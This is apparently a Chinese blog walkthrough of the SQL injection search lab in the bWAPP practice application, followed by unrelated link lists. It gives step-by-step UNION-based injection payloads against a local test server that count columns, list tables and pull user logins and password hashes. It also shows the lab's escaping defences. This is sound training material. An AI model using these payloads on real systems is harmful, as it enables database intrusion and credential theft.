SQL注入:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

LOW:

0x01:分析一下网站的后台源码

主要源代码:

 if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
{
//将get方法获取的值赋值个title变量
$title = $_GET["title"];
//后台SQL查询语句
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
//对MySQL数据库进行查询
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
// die("Error: " . mysql_error());
?>

可以看到,后台对输入的值没有进行任何的过滤就直接对数据库进行查询了,这是个致命的漏洞。怎么进行防护,我们以后的课程再说,就是这个平台的high级别的方法。

0x02:测试分析

在输入框内输入一些数字,点击搜索

什么都没有出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=1&action=search

我们再输入一些字符,输入一个e,点击搜索

可以看到出现很多内容,只要Title栏中带e的都会显示出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=e&action=search

这样我们可以分析得出这里是一个字符型的get请求。

0x03:测试漏洞

接下来我们进行测试这里是否存在SQL注入漏洞

常用的方法:

'(英文符的单引号)报错测试大法
and和or测试大法

输入:

e'

点击搜索后

报错了,说明很大可能存在SQL注入漏洞了。

0x04:爆字段(字段就是这个数据表中的列)

使用的方法:

order by 语句
二分查找法

输入:

the' order by 10#

报错,说明字段数少于10

再输入:

the' order by 5#

这是个正常页面,表示没查到信息,没有爆出错误,说明字段数大于5小于10。

再输入:

the' order by 8#

8也报错,小于8

再输入:

the' order by 7#

发现没有报错,8报错,7没报错,说明字段数就是7了。

0x07:爆表(即获取当前数据表)

使用的技术

union select联合注入

输入:

the' union select 1,2,3,4,5,6,7#

这个1到7就是我们查出来这个表有的列

我们可以看到,出现了几个数字2、3、5、4

把一些内置函数替换这几个数字,会得出我们想要的东西。

例如

查看当前数据库名:

输入:

the' union select 1,database(),3,4,5,6,7#

我们将2替换成database()这个函数

可以看到原来Title栏的2变成了我们要查的当前数据库的名称bWAPP。

相关函数

system_user()         系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

这些函数,你们自己都尝试去替换里面的数字,一次性替换几个也行,只要这些数字都是我们利用联合查询查到的数字就行。

我查看MySQL的版本号和当前数据库名:

输入:

the' union select 1,database(),version(),4,5,6,7#

可以看到在Release栏出现MySQL的版本5.547。

暴数据表

输入:

the' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

可以看到,爆出了5个表,其中users表是一个比较重要的表,也是值得我们注意的表。

0x06:获取后台账户用户名和密码

先查看users表的所有的列的信息

输入:

the' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

其中的login和password,应该是我们有我们想要的东西。

那我们就去查出它们的信息

输入:

the' union select 1,login,password,4,5,6,7 from users#

在Title和Release栏把它们对应的账号和密码爆出了,其中密码是经过md5加密,我们需要去解密

Medium:

防护代码:

function sqli_check_1($data)
{ return addslashes($data); }

使用了addslashes()函数。

在php中,addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠;

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

High:

防护源码:

function sqli_check_2($data)
{ return mysql_real_escape_string($data); }

使用了mysql_real_escape_string()函数。

bWAPP练习--injection篇SQL Injection (GET/Search)的更多相关文章

  1. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

  2. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  3. Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...

  4. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  5. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  6. 梨子带你刷burp练兵场(burp Academy) - 服务器篇 - Sql注入 - SQL injection UNION attack, determining the number of columns returned by the query

    目录 SQL injection UNION attack, determining the number of columns returned by the query SQL injection ...

  7. dedecms /plus/search.php SQL Injection && Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...

  8. SQL注入(SQL Injection)案例和防御方案

    sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...

  9. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

随机推荐

  1. ASP.NET中防止Access数据库下载

    如何防止Access数据库下载是一个很老的话题了,网上的讨论也比较多.这里我们给出几种在ASP.NET下防止Access数据库被下载的方法. 我们这里假设Access数据库名字为 test.mdb. ...

  2. R3—日期处理

    一. 问题引入 下面是一个房地产价格数据,现在想要提取2008年6月份的数据进行分析,在R中该如何操作呢? city price bedrooms squarefeet lotsize latitud ...

  3. 【洛谷 P3227】 [HNOI2013]切糕(最小割)

    题目链接 每层每个位置向下一层这个位置连边,流量为下一层这个位置的\(f\),源点向第一层连,流量第一层每个位置的费用,最后一层向汇点连,流量\(INF\). 这样就得到了\(P*Q\)条链,不考虑\ ...

  4. IP判断 (字符串处理)

    关于IP合法性判断的题目,每个oj上的约束条件不尽相同,我就根据自己做过的题目吧所有的约束条件汇总到一块,到时候做题时只需要把多余的越是条件删掉即可 题目描述: 对于IP我们总会有一定的规定,合法的I ...

  5. 解决 IE7 中 display:inline-block 失效的问题

    我们在做首页菜单选项的时候,通常会用 li 标签去做,通过对 li 标签设置样式: display:inline-block 可以让 li 标签横排显示.但是这样做,在 IE7 浏览器下面会有一个兼容 ...

  6. es6新语法Object.assign()

    1.介绍 Object.assign用于对象的合并,将源对象的所有可枚举属性复制到目标对象,只拷贝源对象自身的属性继承属性补考呗 Object.assign(target,source1,...)第一 ...

  7. 常见的bug

    常见bug 一. Android系统功能测试设计的测试用例: a.对所测APP划分模块 b.详细列出每个模块的功能点(使用Xmind绘制功能图) c.使用等价类划分.边界值.场景法等对各功能点编写测试 ...

  8. 阿里分布式开源框架DUBBO 入门+ 进阶+ 项目实战视频教程

    史诗级Java/JavaWeb学习资源免费分享 欢迎关注我的微信公众号:"Java面试通关手册"(坚持原创,分享各种Java学习资源,面试题,优质文章,以及企业级Java实战项目回 ...

  9. python设计模式之迭代器与生成器详解(五)

    前言 迭代器是设计模式中的一种行为模式,它提供一种方法顺序访问一个聚合对象中各个元素, 而又不需暴露该对象的内部表示.python提倡使用生成器,生成器也是迭代器的一种. 系列文章 python设计模 ...

  10. 014 JVM面试题

    转自:http://www.importnew.com/31126.html 本文从 JVM 结构入手,介绍了 Java 内存管理.对象创建.常量池等基础知识,对面试中 JVM 相关的基础题目进行了讲 ...